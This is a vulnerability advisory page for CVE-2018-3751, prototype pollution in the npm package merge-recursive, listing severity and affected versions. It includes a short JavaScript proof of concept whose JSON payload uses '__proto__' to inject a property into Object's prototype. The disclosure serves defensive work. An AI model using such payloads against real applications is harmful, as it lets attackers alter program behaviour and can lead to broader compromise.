Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWN2eG0tZjI5NS14OTU3

Prototype Pollution in merge-recursive

All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.

Proof of concept:

var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Recommendation

There is currently no fix available.

Permalink: https://github.com/advisories/GHSA-cvxm-f295-x957
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWN2eG0tZjI5NS14OTU3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 5 years ago
Updated: 8 months ago


CVSS Score: 9.8
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-cvxm-f295-x957, CVE-2018-3751
References: Blast Radius: 27.6

Affected Packages

npm:merge-recursive
Dependent packages: 34
Dependent repositories: 652
Downloads: 10,525 last month
Affected Version Ranges: <= 0.0.3
No known fixed version
All affected versions: 0.0.0, 0.0.1, 0.0.2, 0.0.3